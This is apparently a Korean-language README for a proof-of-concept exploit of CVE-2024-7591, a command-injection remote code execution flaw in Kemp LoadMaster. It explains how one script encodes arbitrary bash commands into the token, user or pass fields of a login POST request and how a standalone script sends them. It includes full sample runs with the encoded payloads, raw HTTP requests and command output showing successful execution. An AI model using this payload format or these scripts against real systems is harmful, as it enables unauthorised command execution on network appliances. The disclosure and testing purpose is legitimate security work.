
이 PoC 파이썬 스크립트는 Kemp LoadMaster의 원격 코드 실행을 테스트합니다.
이 PoC 파이썬 스크립트는 Kemp LoadMaster의 원격 코드 실행 취약점을 테스트합니다.
이 도구는 테스트 목적으로만 사용해야 합니다.
이 스크립트는 이 취약점의 세부 사항에 관한 Marius Walter의 글을 기반으로 작성되었습니다. 해당 게시물은 다음에서 확인할 수 있습니다: https://insinuator.net/2024/11/vulnerability-disclosure-command-injection-in-kemp-loadmaster-load-balancer-cve-2024-7591/
이 python3 스크립트는 LoadMaster를 CVE-2024-7591에 대해 테스트하기 위한 것입니다.
사용법:
KempRCECommandGenerator.py는 bash 명령어를 입력받아 취약한 LoadMaster에 대해 원격 명령을 실행하는 데 사용할 수 있는 인코딩된 형태로 변환합니다. 이 코드의 출력은 Burp Suite 또는 기타 도구와 함께 사용하여 서버에 원격 명령을 전송하기 위한 것입니다.
예시:
$: python3 ./KempRCECommandGenerator.py
Enter your command: echo hello
Put this output in the token, token2, user, or pass field
in the POST request to /progs/status/login.
%01%78%27%3b%65%63%68%6f%20%68%65%6c%6c%6f%3b%65%63%68%6f%20%27%01
$:
명령어 출력은 응답의 HTTP 헤더 이후, html 코드 이전에 나타나야 합니다.
KempExploit.py는 취약점 악용 가능 여부를 테스트하거나 사용자 정의 코드를 실행하기 위한 독립 실행형 파이썬 스크립트입니다.
전제 조건:
requests
urllib3
bs4
textwrap
예시:
$: python3 ./KempExploit.py -i 10.0.1.50 --verbose --secure
Enter your command to send or leave blank to test:
It looks like I found a target and some tokens. Do you want to proceed? [y/N]y
---------------- request ----------------
POST https://10.0.1.50:443/progs/status/login
User-Agent: python-requests/2.32.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 196
token=d8a7863c4a3b59a56b42403cf9100435&token2=b1e63802eb144a814c00ffa8c870d3c6&logsub=Login&user=pwn&pass=%01%78%78%78%27%3b%65%63%68%6f%20%65%78%70%6c%6f%69%74%61%62%6c%65%3b%65%63%68%6f%20%27%01
---------------- response ----------------
200 OK https://10.0.1.50:443/progs/status/login
Date: Tue, 12 Aug 2025 00:55:32 GMT
Connection: Keep-Alive
Content-Type: text/html
Transfer-Encoding: chunked
exploitable
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Connection: close
Cache-Control: no-cache, max-age=0, must-revalidate, no-store
<!DOCTYPE html>
<html>
<head>
<script>
alert("Login Failed");
</script>
<script>
if(parent && parent != window){
parent.location = "/";
parent.location.reload(true);
}
</script>
</head>
</html>
Login POST status code: 200
✅ 'exploitable' found in response, server confirmed vulnerable.
$:
예시 2:
$: python3 ./KempExploit.py -i 10.0.1.50 --secure --verbose
Enter your command to send or leave blank to test: ping -c2 10.0.1.16
It looks like I found a target and some tokens. Do you want to proceed? [y/N]y
Running the command ping -c2 10.0.1.16
The encoded command looks like: %01%78%27%3b%70%69%6e%67%20%2d%63%32%20%31%30%2e%30%2e%31%2e%31%36%3b%65%63%68%6f%20%27%01
---------------- request ----------------
POST https://10.0.1.50:443/progs/status/login
User-Agent: python-requests/2.32.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 196
token=a236deda9bb1d4930a331e92caf269ad&token2=a5a5587fd8babd690851f32a85faabb8&logsub=Login&user=pwn&pass=%01%78%27%3b%70%69%6e%67%20%2d%63%32%20%31%30%2e%30%2e%31%2e%31%36%3b%65%63%68%6f%20%27%01
---------------- response ----------------
200 OK https://10.0.1.50:443/progs/status/login
Date: Tue, 12 Aug 2025 00:59:08 GMT
Connection: Keep-Alive
Content-Type: text/html
Transfer-Encoding: chunked
PING 10.0.1.16 (10.0.1.16) 56(84) bytes of data.
64 bytes from 10.0.1.16: icmp_seq=1 ttl=63 time=6.71 ms
64 bytes from 10.0.1.16: icmp_seq=2 ttl=63 time=5.34 ms
--- 10.0.1.16 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 5.349/6.030/6.712/0.685 ms
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Connection: close
Cache-Control: no-cache, max-age=0, must-revalidate, no-store
<!DOCTYPE html>
<html>
<head>
<script>
alert("Login Failed");
</script>
<script>
if(parent && parent != window){
parent.location = "/";
parent.location.reload(true);
}
</script>
</head>
</html>
Login POST status code: 200
Command sent successfully.
$: